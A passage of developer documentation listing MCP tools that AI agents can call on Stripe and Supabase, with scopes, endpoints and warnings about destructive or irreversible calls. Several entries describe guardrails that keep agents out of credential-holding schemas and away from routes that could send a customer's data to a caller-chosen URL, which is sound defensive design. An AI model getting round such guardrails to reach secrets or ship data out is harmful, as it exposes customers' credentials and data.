Scopes: stripe_write_customers. stripe_verify_customer_source (write) — The /sources spelling of stripe_verify_customer_bank_account: confirm the microdeposit amounts on a stored bank-account source so it can be charged. Stripe publishes both paths against the same object. Wrong amounts repeated lock the source. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/verify-customer-source. Scopes: stripe_write_customers. stripe_verify_payment_intent_microdeposits (write) — Finish an ACH or bank-debit payment by confirming the two small deposits Stripe sent to the customer's bank account, using either the two amounts or the six-digit descriptor code the customer reads off their statement. The customer supplies those numbers; the agent only relays them. Getting them wrong repeatedly locks the verification and the payment has to be started again. Needs confirm_live_mode=true on a live connection because it completes a real payment. POST /api/v1/tools/stripe/verify-payment-intent-microdeposits. Scopes: stripe_write_payments. stripe_verify_setup_intent_microdeposits (write) — Finish storing a bank account by confirming the two microdeposit amounts, or the six-digit descriptor code, that the customer reads off their statement. The customer supplies the numbers; repeated wrong attempts lock the verification and the setup has to start again. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/verify-setup-intent-microdeposits. Scopes: stripe_write_payments. stripe_verify_source (write) — Confirm the microdeposit amounts on a legacy Source so it can be charged. The customer reads the values off their bank statement; repeated wrong values lock the source permanently. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/verify-source. Scopes: stripe_write_customers. stripe_void_billing_credit_grant (write, destructive) — DESTRUCTIVE. Voids a credit grant. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/void-billing-credit-grant. Scopes: stripe_write_billing. stripe_void_credit_note (write, destructive) — DESTRUCTIVE. Marks a credit note as void. Learn more about voiding credit notes. The inverse of stripe_create_credit_note. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/void-credit-note. Scopes: stripe_write_billing. stripe_void_invoice (write, destructive) — DESTRUCTIVE. Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to deletion, however it only applies to finalized invoices and maintains a papertrail where the invoice can still be found. Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. Voiding is TERMINAL: Stripe documents a voided invoice as impossible to un-void. The nearest recovery is to create a new invoice from scratch, which loses the number, the history and the payment attempts. Prefer stripe_mark_uncollectible_invoice, which is reversible by paying the invoice afterwards. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/void-invoice. Scopes: stripe_write_billing. ================================================================================ ## Supabase URL: https://www.agenticfabriq.com/integrations/supabase Section: Integrated Tools Supabase — 117 MCP tools Provider key: supabase. Scopes: advisors:read, branches:merge, branches:read, branches:write, config:write, database:migrate, database:read, database:write, functions:read, functions:write, logs:read, organizations:read, projects:destroy, projects:read, projects:write, storage:read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. supabase_apply_migration (write, destructive) — DESTRUCTIVE — apply named, versioned DDL to a preview BRANCH's database. THIS IS THE ONLY PATH TO A SCHEMA CHANGE IN THIS CONNECTOR. It takes a BRANCH ID, never a project ref: Agentic Fabriq asks Supabase for that branch's own database ref and applies the migration there, so there is no argument that could name the production project. The workflow the permission model assumes is: create a branch, apply the migration here, review it with supabase_get_branch_diff, and promote it with supabase_merge_branch — which is a SEPARATE grant. Always supply `rollback`: Supabase stores it as the migration's undo, and without it the change has no recorded reverse. POST /api/v1/tools/supabase/database/migrations/apply. Scopes: database:migrate. supabase_bulk_update_functions (write, destructive) — DESTRUCTIVE — replace the metadata of several edge functions in one call. Supabase treats the list you send as the new state, so a function you leave out of an entry you do send is a field you have cleared. Call supabase_list_functions IMMEDIATELY BEFORE this and send back the entries it gave you with only the fields you meant to change edited — that read is the only source of the `id`, `status` and `version` each entry requires, and it is also the only copy of what you are overwriting. This changes metadata, not code: supabase_deploy_function replaces a function's source. POST /api/v1/tools/supabase/functions/bulk-update. Scopes: functions:write. supabase_cancel_project_restore (write) — Cancel an in-flight resume of a paused project. POST /api/v1/tools/supabase/project/restore/cancel. Scopes: projects:write. supabase_check_vanity_subdomain_availability (read) — Ask whether a vanity subdomain is free. A POST at the provider and a pure read: it reserves nothing and activates nothing. GET /api/v1/tools/supabase/config/vanity-subdomain/check. Scopes: projects:read. supabase_create_branch (write) — Create a preview branch on one project. This provisions a SEPARATE database and leaves the parent project untouched, which is why it is not destructive — and it is the first step of the only schema-change workflow this connector supports. Branches bill by the hour, so delete them when done. Requires branching on the organization's plan; check supabase_get_organization_entitlements. POST /api/v1/tools/supabase/branches. Scopes: branches:write. supabase_create_restore_point (write) — Create a named restore point on this project. Additive and non- destructive: it records a moment, it does not change data. This is the PRECONDITION that makes a risky write bounded — take one before supabase_execute_write or supabase_merge_branch, and the customer has a named moment to recover to. Requires point-in-time recovery on the organization's plan; check supabase_get_organization_entitlements. POST /api/v1/tools/supabase/database/restore-points/create. Scopes: database:write. supabase_delete_all_branches (write, destructive) — DESTRUCTIVE — delete ALL preview branches on a project at once. The parent project is untouched, but every branch's database and any work held only on it is gone. Requires `confirm: true`; without it the call is refused before any request leaves Agentic Fabriq. List the branches first and say how many you are about to remove. POST /api/v1/tools/supabase/branches/delete-all. Scopes: branches:write. supabase_delete_branch (write, destructive) — DESTRUCTIVE — delete one preview branch and the separate database behind it. The PARENT PROJECT IS UNTOUCHED: the loss is bounded to whatever was only ever on the branch, which is what makes this shippable where deleting a project is not. Branches bill by the hour, so never being able to clean one up is its own cost. Refuses anything that is not a branch id. POST /api/v1/tools/supabase/branch/delete. Scopes: branches:write. supabase_delete_function (write, destructive) — DESTRUCTIVE — remove an edge function. Every caller of its URL starts getting a 404 immediately. It IS recoverable, and only because supabase_get_function_body exists: fetch the source first and supabase_deploy_function puts it back under the same slug. Doing this without fetching the body first is the one-way door. POST /api/v1/tools/supabase/function/delete. Scopes: functions:write. supabase_delete_project (write, destructive) — DESTRUCTIVE AND PERMANENT — delete a Supabase project. The database, every row in it, every storage object, every edge function and every backup go with it, and NOTHING in Agentic Fabriq or Supabase brings them back. There is no paused state, no recycle bin and no undo; supabase_pause_project is the reversible action and it is what almost every request for this one actually means. Requires the projects:destroy permission, which is granted to nobody by default, AND the project's own reference repeated in `confirm`. Read supabase_get_project and say out loud which project and which organization you are about to destroy before calling this. POST /api/v1/tools/supabase/project/delete. Scopes: projects:destroy. supabase_deploy_function (write, destructive) — DESTRUCTIVE — deploy an edge function, REPLACING whatever code is currently running under that slug. Agentic Fabriq cannot restore the previous version: call supabase_get_function_body FIRST if you want to be able to put it back. `verify_jwt` defaults to true and should stay true — setting it false publishes an endpoint anyone on the internet can invoke without authentication, on the customer's own project. POST /api/v1/tools/supabase/functions/deploy. Scopes: functions:write. supabase_disable_readonly_mode_temporarily (write) — Lift Supabase's automatic read-only mode for a short window so space can be freed. NOT destructive and not permanent: Supabase re-applies read-only mode when the window ends or the disk fills again. The recovery step that pairs with supabase_get_project_readonly_status. POST /api/v1/tools/supabase/project/readonly/temporary-disable. Scopes: projects:write. supabase_execute_write (write, destructive) — DESTRUCTIVE — run one INSERT, UPDATE or DELETE against a project's Postgres database with the project owner's privileges. A statement that runs cannot be undone through Agentic Fabriq. THREE separate things must be true for this to work: this action granted to the agent, `allow_writes` enabled on the Supabase connection itself, and the statement passing the guardrails. There is no read_only argument — reading is supabase_run_read_query, a different grant. Schema changes (CREATE, DROP, ALTER, TRUNCATE, SELECT INTO), privilege changes, MERGE, COPY and the auth/vault/pgsodium schemas are refused here in every mode; schema changes go through supabase_apply_migration against a branch. POST /api/v1/tools/supabase/query/write. Scopes: database:write. supabase_generate_typescript_types (read) — Generate TypeScript type definitions for the project's schema. A complete, machine-readable description of every table and column without running a single query. GET /api/v1/tools/supabase/types/typescript. Scopes: database:read. supabase_get_advisors (read) — Supabase's own lints for a project: tables exposed through the Data API without row-level security, functions with a mutable search_path, missing indexes, unused indexes. For a control layer this is the most valuable read Supabase offers — it is the one thing an agent can do about a project's security posture without changing anything. Run it after any migration. Supabase marks both advisor endpoints `deprecated` in the live spec; they still answer, and the replacement has not been published. GET /api/v1/tools/supabase/advisors. Scopes: advisors:read. supabase_get_api_counts (read) — API request counts for this project, bucketed over time. Answers 'is something hammering this project' before the bill does. GET /api/v1/tools/supabase/analytics/api-counts. Scopes: logs:read. supabase_get_api_requests_count (read) — The total API request count for this project over the current billing window. GET /api/v1/tools/supabase/analytics/api-requests-count. Scopes: logs:read. supabase_get_backup_schedule (read) — How often this project is backed up and how long backups are kept. Both are plan-gated, so this is also the honest answer to 'can we recover from yesterday'. GET /api/v1/tools/supabase/database/backups/schedule. Scopes: database:read. supabase_get_billing_addons (read) — The paid add-ons on this project — compute size, point-in-time recovery, custom domain, IPv4. What the customer is being charged for, and what recovery options they actually have. Read-only: changing an add-on spends the customer's money and is permanently excluded. GET /api/v1/tools/supabase/billing/addons. Scopes: projects:read. supabase_get_branch (read) — Get one branch's configuration and status, including the branch's OWN project ref — which is what supabase_apply_migration requires and what distinguishes a branch from the production project. GET /api/v1/tools/supabase/branch. Scopes: branches:read. supabase_get_branch_action (read) — Get one branch action run with its per-step status. GET /api/v1/tools/supabase/branch-action. Scopes: branches:read. supabase_get_branch_action_logs (read) — The logs of one branch action run — the actual error when a branch migration failed, rather than the status word. GET /api/v1/tools/supabase/branch-action/logs. Scopes: branches:read. supabase_get_branch_by_name (read) — Look one branch up by its name rather than its id. GET /api/v1/tools/supabase/branch/by-name. Scopes: branches:read. supabase_get_branch_diff (read) — Return the SQL diff between a branch's schema and its parent project's. THIS IS THE MANDATORY REVIEW STEP BEFORE supabase_merge_branch: merging applies exactly this to the production database. Read it, and say what it contains, before promoting anything. Beta endpoint. GET /api/v1/tools/supabase/branch/diff. Scopes: branches:read. supabase_get_custom_hostname_config (read) — The custom domain configured for this project's API and its verification state. Read-only: creating, activating and deleting a custom hostname change the DNS identity of the customer's API on the public internet and are not exposed. GET /api/v1/tools/supabase/config/custom-hostname. Scopes: projects:read. supabase_get_database_openapi (read) — The OpenAPI description PostgREST generates for this project — every table, view and database function the Data API exposes, with its columns and types. The cheapest complete schema read there is. GET /api/v1/tools/supabase/database/openapi. Scopes: database:read. supabase_get_disk_autoscale_config (read) — Whether this project's disk grows automatically, and within what limits. Determines whether filling the disk is an outage or a bill. GET /api/v1/tools/supabase/config/disk/autoscale. Scopes: projects:read. supabase_get_disk_config (read) — The project's disk type, size and throughput. Read-only: resizing a disk is a billed change. GET /api/v1/tools/supabase/config/disk. Scopes: projects:read. supabase_get_disk_utilization (read) — How full this project's disk is. The direct cause of Supabase putting a project into read-only mode, so read it alongside supabase_get_project_readonly_status. GET /api/v1/tools/supabase/config/disk/util. Scopes: projects:read. supabase_get_function (read) — Get one edge function's metadata — status, version, entrypoint, whether it verifies a JWT, when it was last updated. Does not return the source; supabase_get_function_body does. GET /api/v1/tools/supabase/function. Scopes: functions:read. supabase_get_function_body (read) — Return the SOURCE of a deployed edge function. THIS IS THE READ THAT MAKES A DEPLOY RECOVERABLE: supabase_deploy_function replaces the running code and Agentic Fabriq cannot restore the previous version, so fetch the body first and you hold the only copy of what you are about to overwrite. Pure GET; changes nothing. GET /api/v1/tools/supabase/function/body. Scopes: functions:read. supabase_get_function_stats (read) — Invocation counts, error rates and execution times for this project's edge functions. The diagnostic that pairs with supabase_deploy_function: it is how you find out the deploy made things worse. GET /api/v1/tools/supabase/analytics/function-stats. Scopes: logs:read. supabase_get_jit_access_config (read) — Whether just-in-time database access is enabled for this project and how it is configured. Read-only: granting, inviting and revoking JIT access are all deliberately not exposed — they decide which HUMANS can reach the production database. GET /api/v1/tools/supabase/database/jit. Scopes: projects:read. supabase_get_jit_access_window (read) — Whether this project's temporary database access window is currently open, and whether the last change to it was applied successfully. Different from supabase_get_jit_access_config, which returns the settings rather than the live state — read both when investigating why someone can or cannot reach the database right now. Marked Beta by Supabase. Read-only: opening the window is not exposed. GET /api/v1/tools/supabase/project/jit-access. Scopes: projects:read. supabase_get_jwt_signing_key (read) — Get one JWT signing key's metadata and public JWK. Public material only, as with the list. GET /api/v1/tools/supabase/config/signing-key. Scopes: projects:read. supabase_get_logs (read) — Query this project's logs — API, Postgres, auth, storage and edge function logs in one stream. Debugging the function you just deployed or the query that just failed. Takes a SQL-shaped `sql` filter in Supabase's log dialect (ClickHouse on projects created since June 2026, BigQuery on older ones), so start without one and narrow. Rate limited to about 30 requests/minute, and retention is plan-gated: 1 day on Free, 90 days on Enterprise. LOGS CARRY REQUEST-LEVEL INFORMATION ABOUT THE CUSTOMER'S OWN END USERS. GET /api/v1/tools/supabase/analytics/logs. Scopes: logs:read. supabase_get_migration (read) — Get one applied migration by version, including the SQL it ran. The review step before supabase_update_migration, and the way to see what a previous migration actually did. GET /api/v1/tools/supabase/database/migration. Scopes: database:read. supabase_get_network_restrictions (read) — Which CIDR ranges may reach this project's database. A wide-open range here is the single most consequential misconfiguration in a Supabase project. Read-only: changing it is not exposed, because the failure mode of a mistaken call is silently opening a production database to the internet. GET /api/v1/tools/supabase/config/network-restrictions. Scopes: projects:read. supabase_get_organization (read) — Get one organization by slug, including its plan and opt-in tags. GET /api/v1/tools/supabase/organization. Scopes: organizations:read. supabase_get_organization_entitlements (read) — List what this organization's plan actually includes — branching, point-in-time recovery, log drains, custom domains, read replicas, SSO. CHECK THIS FIRST before offering a branching or backup workflow: a surface the organization's plan does not include will fail at Supabase with an error that does not name the plan. GET /api/v1/tools/supabase/organization/entitlements. Scopes: organizations:read. supabase_get_organization_webhook_delivery (read) — One organization webhook delivery in full. GET /api/v1/tools/supabase/organization/webhooks/delivery. Scopes: logs:read. supabase_get_organization_webhook_endpoint (read) — Get one organization webhook endpoint's configuration. GET /api/v1/tools/supabase/organization/webhooks/endpoint. Scopes: organizations:read. supabase_get_pgbouncer_config (read) — The legacy PgBouncer pooler configuration, for projects still on it. GET /api/v1/tools/supabase/config/pgbouncer. Scopes: projects:read. supabase_get_pooler_config (read) — The Supavisor connection pooler's settings and connection strings (without the password). Answers 'why am I running out of connections'. GET /api/v1/tools/supabase/config/pooler. Scopes: projects:read. supabase_get_postgres_config (read) — The project's Postgres server settings — work_mem, connection limits, statement timeout, logging. Read-only; the matching PUT is not exposed. GET /api/v1/tools/supabase/config/postgres. Scopes: projects:read. supabase_get_postgrest_config (read) — Which schemas the project's Data API exposes, the maximum rows it returns and its extra search path. A SECURITY POSTURE READ: a schema listed here is reachable from the internet with the project's publishable key, subject only to row-level security. GET /api/v1/tools/supabase/config/postgrest. Scopes: projects:read. supabase_get_profile (read) — Get the Supabase account this connection authenticates as — id, username, primary email. Answers 'whose permissions am I actually using', which is the first question of any access review. GET /api/v1/tools/supabase/profile. Scopes: organizations:read. supabase_get_project (read) — Get one project by reference, including its region, status and organization. This returns the project RECORD's status; for whether the services are actually up, use supabase_get_project_health. GET /api/v1/tools/supabase/project. Scopes: projects:read. supabase_get_project_health (read) — Per-service health for one project — database, auth, rest, realtime, storage. 'Is the project up, and which service is down' is the first question of every incident, and supabase_get_project cannot answer it: that returns the project record's status, not the services'. GET /api/v1/tools/supabase/project/health. Scopes: projects:read. supabase_get_project_metrics (read) — This project's metrics in Prometheus exposition format — CPU, memory, disk, connection counts. The numbers behind 'the database feels slow'. GET /api/v1/tools/supabase/analytics/metrics. Scopes: logs:read. supabase_get_project_readonly_status (read) — Whether Supabase has put this project's database into read-only mode — which it does automatically when disk is nearly full. The diagnostic for 'every write is failing and nothing changed'. GET /api/v1/tools/supabase/project/readonly. Scopes: projects:read. supabase_get_project_restore_status (read) — The status of resuming a paused project. Read this before and after supabase_restore_project; resuming is not instant. GET /api/v1/tools/supabase/project/restore-status. Scopes: projects:read. supabase_get_project_service_config (read) — The v2 API's consolidated view of a project's service configuration. Marked Alpha by Supabase and may change shape without notice; prefer the specific config reads where one exists. GET /api/v1/tools/supabase/project/service-config. Scopes: projects:read. supabase_get_project_upgrade_eligibility (read) — Whether this project can be upgraded to a newer Postgres version, and what would block it. Read-only: performing the upgrade is not exposed. GET /api/v1/tools/supabase/project/upgrade-eligibility. Scopes: projects:read. supabase_get_project_upgrade_status (read) — The status of an in-flight or completed Postgres upgrade on this project. GET /api/v1/tools/supabase/project/upgrade-status. Scopes: projects:read. supabase_get_project_webhook_delivery (read) — One webhook delivery in full, including the response the destination returned. GET /api/v1/tools/supabase/webhooks/delivery. Scopes: logs:read. supabase_get_project_webhook_endpoint (read) — Get one project webhook endpoint's configuration, including its destination URL and which events it subscribes to. GET /api/v1/tools/supabase/webhooks/endpoint. Scopes: projects:read. supabase_get_realtime_config (read) — The Realtime service's configuration for this project — connection limits, channel limits, whether database change broadcasting is on. Read-only; neither the PATCH nor the shutdown endpoint is exposed. GET /api/v1/tools/supabase/config/realtime. Scopes: projects:read. supabase_get_snippet (read) — Get one saved SQL snippet including its content. GET /api/v1/tools/supabase/snippet. Scopes: database:read. supabase_get_ssl_enforcement (read) — Whether this project requires TLS on database connections. Read- only: the PUT that changes it is the customer's own perimeter decision and is not exposed. GET /api/v1/tools/supabase/config/ssl-enforcement. Scopes: projects:read. supabase_get_sso_provider (read) — Get one SAML SSO provider's configuration. GET /api/v1/tools/supabase/config/sso-provider. Scopes: projects:read. supabase_get_storage_config (read) — The storage service's limits for this project — maximum file size, whether image transformation is enabled. Read-only; the matching PATCH is not exposed. GET /api/v1/tools/supabase/config/storage. Scopes: storage:read. supabase_get_third_party_auth (read) — Get one third-party authentication integration's configuration. GET /api/v1/tools/supabase/config/third-party-auth/get. Scopes: projects:read. supabase_get_vanity_subdomain_config (read) — The vanity subdomain configured for this project. Read-only, for the same reason as the custom hostname. GET /api/v1/tools/supabase/config/vanity-subdomain. Scopes: projects:read. supabase_list_available_regions (read) — List the regions a project or branch can be created in. The read that makes supabase_create_branch's `region` argument obtainable rather than guessed. GET /api/v1/tools/supabase/projects/available-regions. Scopes: projects:read. supabase_list_branch_actions (read) — List the action runs — clone, migrate, seed, deploy — that Supabase executed for this project's branches, newest first. 'Why is my branch stuck in RUNNING_MIGRATIONS' starts here. GET /api/v1/tools/supabase/branch-actions. Scopes: branches:read. supabase_list_branches (read) — List one project's preview branches. A branch is a separate database provisioned alongside the project. Each row carries the branch's own `id` (for the branch tools) and its own project ref (for supabase_apply_migration). GET /api/v1/tools/supabase/branches. Scopes: branches:read. supabase_list_database_backups (read) — List this project's backups and whether point-in-time recovery is available. READ THIS BEFORE ANY WRITE you cannot undo: it is the only way to know what recovering from a mistake would actually cost. Performing a restore is deliberately not exposed — a restore destroys every write since the restore point. GET /api/v1/tools/supabase/database/backups. Scopes: database:read. supabase_list_functions (read) — List one project's edge functions, with each function's slug, status, version and whether it verifies a JWT on invocation. Call this before supabase_deploy_function: deploying to an existing slug REPLACES the running code. GET /api/v1/tools/supabase/functions. Scopes: functions:read. supabase_list_jit_access (read) — List the people currently holding just-in-time access to this project's database, with each grant's role and expiry. The access review that matters most, because these are direct Postgres credentials rather than dashboard permissions. GET /api/v1/tools/supabase/database/jit/list. Scopes: projects:read. supabase_list_jwt_signing_keys (read) — List this project's JWT signing keys — id, algorithm, status and PUBLIC key material only. Supabase's API returns no private key on this path, which is what makes it a posture read rather than a credential: 'which key is in use, is an old one still valid'. Creating, rotating and deleting signing keys are permanently excluded — the private key would let the holder forge a token for any end user of the customer's application. GET /api/v1/tools/supabase/config/signing-keys. Scopes: projects:read. supabase_list_log_drains (read) — List the log drains configured on this project — where this project's logs are being shipped, and to whom. READ-ONLY BY DESIGN: creating a log drain sends the customer's logs to a URL of the caller's choosing and keeps doing it after the agent stops, so creation is permanently excluded. Listing them is an exfiltration- detection read. GET /api/v1/tools/supabase/analytics/log-drains. Scopes: logs:read. supabase_list_migrations (read) — List the migration versions already applied to this project's database, newest last. An agent asked to change data needs to know what schema it is looking at, and this is the honest alternative to letting it introspect by running DDL. GET /api/v1/tools/supabase/database/migrations. Scopes: database:read. supabase_list_network_bans (read) — List the IP addresses Supabase has banned from this project for repeated authentication failures. A POST at the provider, but a pure read: it retrieves, it does not ban. The diagnostic for 'our application server suddenly cannot connect'. Lifting a ban is not exposed. GET /api/v1/tools/supabase/config/network-bans. Scopes: projects:read. supabase_list_network_bans_enriched (read) — List the IP addresses Supabase has banned from this project, together with which of the project's databases each ban applies to. A POST at the provider, but a pure read: it retrieves, it does not ban. Prefer this over supabase_list_network_bans when the project has read replicas, because a ban that only affects one database looks identical in the plain list. Marked Beta by Supabase. Lifting a ban is not exposed. GET /api/v1/tools/supabase/config/network-bans/enriched. Scopes: projects:read. supabase_list_organization_github_connections (read) — List the GitHub repositories connected to this organization's projects. Tells you whether a branch is driven by a git branch, which changes what merging it means. GET /api/v1/tools/supabase/organization/github-connections. Scopes: organizations:read. supabase_list_organization_members (read) — List the people who can reach this organization's projects, with each member's role. The access-review read: 'who can see this database'. Returns names and email addresses of the customer's own staff. GET /api/v1/tools/supabase/organization/members. Scopes: organizations:read. supabase_list_organization_projects (read) — List the projects belonging to one organization. Narrower than supabase_list_projects, which spans every organization the connection can see. GET /api/v1/tools/supabase/organization/projects. Scopes: organizations:read. supabase_list_organization_roles (read) — List the roles this organization defines, so a member's role string from supabase_list_organization_members can be interpreted. Read- only; assigning a role is not exposed. GET /api/v1/tools/supabase/organization/roles. Scopes: organizations:read. supabase_list_organization_webhook_deliveries (read) — The delivery history of one organization webhook endpoint. GET /api/v1/tools/supabase/organization/webhooks/deliveries. Scopes: logs:read. supabase_list_organization_webhook_endpoints (read) — List the webhook endpoints configured at the ORGANIZATION level — where this organization's events are being sent. Read-only for the same reason as the project ones. GET /api/v1/tools/supabase/organization/webhooks/endpoints. Scopes: organizations:read. supabase_list_organizations (read) — List the Supabase organizations this connection can see, with each organization's id and name. Organizations own projects; use supabase_list_projects to get the project refs every other Supabase tool needs. GET /api/v1/tools/supabase/organizations. Scopes: organizations:read. supabase_list_project_webhook_deliveries (read) — The delivery history of one project webhook endpoint — what was sent, when, and whether it succeeded. The diagnostic for 'our integration stopped receiving events'. GET /api/v1/tools/supabase/webhooks/deliveries. Scopes: logs:read. supabase_list_project_webhook_endpoints (read) — List the webhook endpoints configured on this project — where this project's events are being sent. READ-ONLY BY DESIGN: creating one ships the customer's project events to a URL the caller chose and keeps working after the agent stops, so creation is permanently excluded. Listing them is how you DETECT that. GET /api/v1/tools/supabase/webhooks/endpoints. Scopes: projects:read. supabase_list_projects (read) — List projects with their id (the 20-character project ref every other Supabase tool needs), organization, name, region and status. GET /api/v1/tools/supabase/projects. Scopes: projects:read. supabase_list_restore_points (read) — List the named restore points on this project. GET /api/v1/tools/supabase/database/restore-points. Scopes: database:read. supabase_list_snippets (read) — List the SQL snippets saved in the Supabase dashboard, with their name, owner and visibility. The queries the customer's own team already trusts — useful as a starting point rather than inventing SQL. GET /api/v1/tools/supabase/snippets. Scopes: database:read. supabase_list_sso_providers (read) — List the SAML SSO providers configured for this project's end users. Read-only: creating or changing one decides who may sign in to the customer's application, which is not an agent's decision to make. GET /api/v1/tools/supabase/config/sso-providers. Scopes: projects:read. supabase_list_storage_buckets (read) — List one project's storage buckets, including whether each is public. Lists the buckets only; does not read, write or delete the files inside them. GET /api/v1/tools/supabase/storage-buckets. Scopes: storage:read. supabase_list_third_party_auth (read) — List the third-party authentication providers (Firebase, Auth0, Cognito) this project accepts tokens from. Each one is another issuer whose tokens are trusted by the customer's database, so enumerating them is a posture read. Read-only. GET /api/v1/tools/supabase/config/third-party-auth. Scopes: projects:read. supabase_merge_branch (write, destructive) — DESTRUCTIVE — apply a branch's SCHEMA CHANGES TO THE PRODUCTION database. This is DDL against production, reached through the one door that records it as a named, versioned migration. READ supabase_get_branch_diff FIRST and state what it contains: merging applies exactly that. A separate permission from creating branches, on purpose. Requires branching on the organization's plan. POST /api/v1/tools/supabase/branch/merge. Scopes: branches:merge. supabase_pause_project (write, destructive) — DESTRUCTIVE — pause a project. Every client of the customer's application loses its database immediately and stays down until someone resumes it. It is REVERSIBLE: supabase_restore_project is the inverse and ships alongside this. Pausing does not delete data. On the free plan a project left paused long enough can have its data removed by Supabase, so check the organization's plan first. POST /api/v1/tools/supabase/project/pause. Scopes: projects:write. supabase_preview_project_transfer (write) — Check whether a project could be transferred to another organization, and what it would cost or break. Returns `valid` plus three lists — errors, warnings and info — naming things like entitlements the receiving organization does not have. A POST, but it changes nothing: this is the read that makes supabase_transfer_project a decision rather than a gamble, and it needs only projects:read. Run it and report what it says before asking anyone to approve a transfer. POST /api/v1/tools/supabase/project/transfer/preview. Scopes: projects:read. supabase_push_branch (write, destructive) — DESTRUCTIVE — run the parent project's newer migrations against the branch, bringing the branch forward. Changes the branch's schema, not production's. POST /api/v1/tools/supabase/branch/push. Scopes: branches:merge. supabase_reset_branch (write, destructive) — DESTRUCTIVE — reset a branch's database back to its migrations, discarding everything in it. The branch's own data is gone; production is untouched. This is the branch workflow's undo, which is why it ships in the same migration as merge and push. POST /api/v1/tools/supabase/branch/reset. Scopes: branches:merge. supabase_restart_project (write, destructive) — DESTRUCTIVE — restart the project's services. Every open database connection is dropped and the project is briefly unavailable. Nothing is deleted and the project comes back on its own, so the loss is bounded to the outage; it is marked destructive because the customer's live users feel it. POST /api/v1/tools/supabase/project/restart. Scopes: projects:write. supabase_restore_branch (write) — Bring a branch's database back up after it was taken down. Restores the BRANCH, never the parent project, and destroys nothing — the recovery half of the branch lifecycle. POST /api/v1/tools/supabase/branch/restore. Scopes: branches:merge. supabase_restore_database_backup (write, destructive) — DESTRUCTIVE — roll the production database back to a physical backup. EVERY WRITE MADE AFTER THAT BACKUP IS DESTROYED, including writes made by people and systems that have nothing to do with this agent, and the amount lost is decided entirely by which backup id you pass. Call supabase_list_database_backups first, state the backup's `inserted_at` timestamp and how much time that discards, and only then confirm. The project is unavailable while it restores. There is no inverse: supabase_create_restore_point taken BEFORE the restore is the only thing that makes this reversible. POST /api/v1/tools/supabase/database/backups/restore. Scopes: projects:destroy. supabase_restore_database_pitr (write, destructive) — DESTRUCTIVE — roll the production database back to an arbitrary second. EVERY WRITE MADE AFTER THAT MOMENT IS DESTROYED. This is the sharpest operation in the connector: the loss is bounded only by a timestamp, so an off-by-one in the unit or the timezone is an off-by-hours in data. The value is UNIX SECONDS, not milliseconds. Point-in-time recovery is a paid add-on; supabase_get_organization_entitlements says whether the organization has it, and supabase_list_database_backups returns the earliest and latest instants that are actually recoverable. There is no inverse. POST /api/v1/tools/supabase/database/backups/restore-pitr. Scopes: projects:destroy. supabase_restore_project (write) — Resume a paused project — the inverse of supabase_pause_project, and the reason pausing is a bounded action rather than a one-way door. Not the same thing as restoring a BACKUP, which Agentic Fabriq does not expose: this brings a paused project back with its data intact and destroys nothing. POST /api/v1/tools/supabase/project/restore. Scopes: projects:write. supabase_rollback_migrations (write, destructive) — DESTRUCTIVE — roll back every migration at or after a version on a preview BRANCH and remove them from its migration history. THE INVERSE OF supabase_apply_migration, and it takes a BRANCH ID for the same reason: Agentic Fabriq resolves that branch's own database ref, so no argument here can name the production project. `gte` is a FLOOR, not a single version — passing the oldest version you meant to undo also undoes every migration applied after it. Call supabase_list_migrations first and say which versions will go. Whether the data those migrations created survives depends on the rollback SQL recorded with each one, which supabase_get_migration shows you. POST /api/v1/tools/supabase/database/migrations/rollback. Scopes: database:migrate. supabase_run_read_query (write) — Run one read-only SQL statement against a project's Postgres database. Sent to Supabase's OWN read-only endpoint, which executes it as the supabase_read_only_user Postgres role — the database itself refuses a write, not just Agentic Fabriq. SELECT and UNION only; there is no read_only argument to turn off. EXPLAIN is allowed (EXPLAIN ANALYZE is not, because it executes the statement). The auth, vault and pgsodium schemas are refused: they hold your end users' credentials and your secrets for other systems. Results are capped — `max_rows` defaults to 1000 and the response says whether the cap was hit. Data changes go through supabase_execute_write; schema changes through supabase_apply_migration against a branch. POST /api/v1/tools/supabase/query/read-only. Scopes: database:read. supabase_search_organization_projects (read) — Search and page through one organization's projects by name. Prefer this over supabase_list_organization_projects on any organization large enough that the full list is unwieldy: it filters by a case-insensitive substring of the project name, caps the page at a size you choose, and returns a cursor to continue from. Each project comes back with its ref, status, cloud provider and region. GET /api/v1/tools/supabase/organization/projects/search. Scopes: organizations:read. supabase_transfer_project (write, destructive) — DESTRUCTIVE — hand this project, its database and its billing to a DIFFERENT organization. Agentic Fabriq cannot reverse it and neither can the sender: transferring it back requires someone in the RECEIVING organization to agree, and if this connection loses access to the project at the same moment then nobody reachable from here can even ask. Members of the current organization may lose access instantly. Run supabase_preview_project_transfer first — it is a pure read, it reports the errors and warnings this call would hit, and it needs only projects:read. POST /api/v1/tools/supabase/project/transfer. Scopes: projects:destroy. supabase_undo_to_restore_point (write, destructive) — DESTRUCTIVE — roll the production database back to a named restore point. EVERY WRITE MADE AFTER THAT POINT IS DESTROYED. This is the narrowest of the three rollbacks and the only one whose target a person deliberately created: supabase_list_restore_points names them and supabase_create_restore_point makes new ones. Taking a fresh restore point immediately BEFORE calling this is what makes the rollback itself reversible; nothing else does. POST /api/v1/tools/supabase/database/backups/undo. Scopes: projects:destroy. supabase_update_branch (write) — Rename a branch or change whether it is persistent. Does not touch the branch's data or schema. POST /api/v1/tools/supabase/branch/update. Scopes: branches:write. supabase_update_branch_action_status (write) — Set the reported status of one or more stages of a branch action run — clone, pull, health, configure, migrate, seed, deploy. Use it to clear a run that 